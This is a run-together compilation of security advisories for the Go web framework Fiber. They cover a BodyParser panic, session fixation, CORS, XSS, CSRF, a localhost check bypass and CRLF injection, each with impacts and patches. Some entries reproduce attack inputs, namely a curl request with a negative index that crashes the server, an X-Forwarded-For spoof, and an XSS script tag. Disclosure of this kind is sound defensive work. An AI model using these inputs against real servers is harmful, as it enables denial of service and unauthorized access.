Details fiber.Ctx.BodyParser can map flat data to nested slices using key[idx]value syntax, however when idx is negative, it causes a panic instead of returning an error stating it cannot process the data.
Since this data is user-provided, this could lead to denial of service for anyone relying on this fiber.Ctx.BodyParser functionality
Reproducing Take a simple GoFiberV2 server which returns a JSON encoded version of the FormData go package main
import ( "encoding/json" "fmt" "net/http"
"github.com/gofiber/fiber/v2" )
type RequestBody struct { NestedContent []struct { Value string form:"value" } form:"nested-content" }
func main() { app := fiber.New()
app.Post("/", func(c fiber.Ctx) error { formData := RequestBody{} if err := c.BodyParser(&formData); err != nil { fmt.Println(err) return c.SendStatus(http.StatusUnprocessableEntity) } c.Set("Content-Type", "application/json") s, := json.Marshal(formData) return c.SendString(string(s)) })
fmt.Println(app.Listen(":3000")) }
Correct Behaviour Send a valid request such as: bash curl --location 'localhost:3000' \ --form 'nested-content[0].value="Foo"' \ --form 'nested-content[1].value="Bar"' You recieve valid JSON json {"NestedContent":[{"Value":"Foo"},{"Value":"Bar"}]}
Crashing behaviour Send an invalid request such as: bash curl --location 'localhost:3000' \ --form 'nested-content[-1].value="Foo"' The server panics and crashes panic: reflect: slice index out of range
goroutine 8 [running]: reflect.Value.Index({0x738000?, 0xc000010858?, 0x0?}, 0x738000?) /usr/lib/go-1.24/src/reflect/value.go:1418 +0x167 github.com/gofiber/fiber/v2/internal/schema.(Decoder).decode(0xc00002c570, {0x75d420?, 0xc000010858?, 0x7ff424822108?}, {0xc00001c498, 0x17}, {0xc00014e2d0, 0x2, 0x2}, {0xc00002c710, ...}) [...]
Impact Anyone using fiber.Ctx.BodyParser can/will have their servers crashed when an invalid payload is sent
A security vulnerability has been identified in the Fiber session middleware where a user can supply their own sessionid value, leading to the creation of a session with that key.
Impact The identified vulnerability is a session middleware issue in GoFiber versions 2 and above. This vulnerability allows users to supply their own sessionid value, resulting in the creation of a session with that key. If a website relies on the mere presence of a session for security purposes, this can lead to significant security risks, including unauthorized access and session fixation attacks. All users utilizing GoFiber's session middleware in the affected versions are impacted.
Patches The issue has been addressed in the latest patch. Users are strongly encouraged to upgrade to version 2.52.5 or higher to mitigate this vulnerability.
Workarounds Users who are unable to upgrade immediately can apply the following workarounds to reduce the risk:
1. Validate Session IDs: Implement additional validation to ensure session IDs are not supplied by the user and are securely generated by the server. 2. Session Management: Regularly rotate session IDs and enforce strict session expiration policies.
References For more information on session best practices: - OWASP Session Management Cheat Sheet
Users are encouraged to review these references and take immediate action to secure their applications.
Fiber is a web framework written in go. Prior to version 2.52.1, the CORS middleware allows for insecure configurations that could potentially expose the application to multiple CORS-related vulnerabilities. Specifically, it allows setting the Access-Control-Allow-Origin header to a wildcard () while also having the Access-Control-Allow-Credentials set to true, which goes against recommended security best practices. The impact of this misconfiguration is high as it can lead to unauthorized access to sensitive user data and expose the system to various types of attacks listed in the PortSwigger article linked in the references. Version 2.52.1 contains a patch for this issue. As a workaround, users may manually validate the CORS configurations in their implementation to ensure that they do not allow a wildcard origin when credentials are enabled. The browser fetch api, as well as browsers and utilities that enforce CORS policies, are not affected by this.
Impact
Vulnerability Type: Cross-Site Scripting (XSS) Affected Users: All users of the Django template engine for Fiber prior to the patch. This vulnerability specifically impacts web applications that render user-supplied data through this template engine, potentially leading to the execution of malicious scripts in users' browsers when visiting affected web pages.
Patches
The vulnerability has been addressed. The template engine now defaults to having autoescape set to true, effectively mitigating the risk of XSS attacks. Users are advised to upgrade to the latest version of the Django template engine for Fiber, where this security update is implemented. Ensure that the version of the template engine being used is the latest, post-patch version.
Workarounds
For users unable to upgrade immediately to the patched version, a workaround involves manually implementing autoescaping within individual Django templates. This method includes adding specific tags in the template to control autoescape behavior: django {% autoescape on %} {{ "<script>alert('xss');</script>" }} {% endautoescape %}
References
- Official documentation of the Django template engine for Fiber: https://docs.gofiber.io/template/django/ - Django built-in template tags: https://docs.djangoproject.com/en/5.0/ref/templates/builtins/
A Cross-Site Request Forgery (CSRF) vulnerability has been identified in the application, which allows an attacker to obtain tokens and forge malicious requests on behalf of a user. This can lead to unauthorized actions being taken on the user's behalf, potentially compromising the security and integrity of the application.
Vulnerability Details
The vulnerability is caused by improper validation and enforcement of CSRF tokens within the application. The following issues were identified:
1. Lack of Token Association: The CSRF token was validated against tokens in storage but was not tied to the original requestor that generated it, allowing for token reuse.
Remediation
To remediate this vulnerability, it is recommended to take the following actions:
1. Update the Application: Upgrade the application to a fixed version with a patch for the vulnerability.
2. Implement Proper CSRF Protection: Review the updated documentation and ensure your application's CSRF protection mechanisms follow best practices.
4. Choose CSRF Protection Method: Select the appropriate CSRF protection method based on your application's requirements, either the Double Submit Cookie method or the Synchronizer Token Pattern using sessions.
5. Security Testing: Conduct a thorough security assessment, including penetration testing, to identify and address any other security vulnerabilities.
Defence-in-depth
Users should take additional security measures like captchas or Two-Factor Authentication (2FA) and set Session cookies with SameSite=Lax or SameSite=Strict, and the Secure and HttpOnly attributes.
A Cross-Site Request Forgery (CSRF) vulnerability has been identified in the application, which allows an attacker to inject arbitrary values and forge malicious requests on behalf of a user. This vulnerability can allow an attacker to inject arbitrary values without any authentication, or perform various malicious actions on behalf of an authenticated user, potentially compromising the security and integrity of the application.
Vulnerability Details
The vulnerability is caused by improper validation and enforcement of CSRF tokens within the application. The following issues were identified:
1. Token Injection: For 'safe' methods, the token was extracted from the cookie and saved to storage without further validation or sanitization.
2. Lack of Token Association: The CSRF token was validated against tokens in storage but not associated with a session, nor by using a Double Submit Cookie Method, allowing for token reuse.
Specific Go Packages Affected github.com/gofiber/fiber/v2/middleware/csrf
Remediation
To remediate this vulnerability, it is recommended to take the following actions:
1. Update the Application: Upgrade the application to a fixed version with a patch for the vulnerability.
2. Implement Proper CSRF Protection: Review the updated documentation and ensure your application's CSRF protection mechanisms follow best practices.
4. Choose CSRF Protection Method: Select the appropriate CSRF protection method based on your application's requirements, either the Double Submit Cookie method or the Synchronizer Token Pattern using sessions.
5. Security Testing: Conduct a thorough security assessment, including penetration testing, to identify and address any other security vulnerabilities.
Defence-in-depth
Users should take additional security measures like captchas or Two-Factor Authentication (2FA) and set Session cookies with SameSite=Lax or SameSite=Secure, and the Secure and HttpOnly attributes.
Impact This vulnerability can be categorized as a security misconfiguration. It impacts users of our project who rely on the ctx.IsFromLocal() method to restrict access to localhost requests. If exploited, it could allow unauthorized access to resources intended only for localhost.
In it's implementation it uses c.IPs():
go // IPs returns a string slice of IP addresses specified in the X-Forwarded-For request header. // When IP validation is enabled, only valid IPs are returned. func (c Ctx) IPs() []string { return c.extractIPsFromHeader(HeaderXForwardedFor) }
Thereby, setting X-Forwarded-For: 127.0.0.1 in a request from a foreign host, will result in true for ctx.IsFromLocal()
Patches This issue has been patched in v2.49.2 with commit b8c9ede6efa231116c4bd8bb9d5e03eac1cb76dc
Workarounds Currently, there are no known workarounds to remediate this vulnerability without upgrading to the patched version. We strongly advise users to apply the patch as soon as it is released.
References For further information and context regarding this security issue, please refer to the following resources:
- Mozilla Developer Network - X-Forwarded-For
In Fiber before version 1.12.6, the filename that is given in c.Attachment() (https://docs.gofiber.io/ctx#attachment) is not escaped, and therefore vulnerable for a CRLF injection attack. I.e. an attacker could upload a custom filename and then give the link to the victim. With this filename, the attacker can change the name of the downloaded file, redirect to another site, change the authorization header, etc. A possible workaround is to serialize the input before passing it to ctx.Attachment().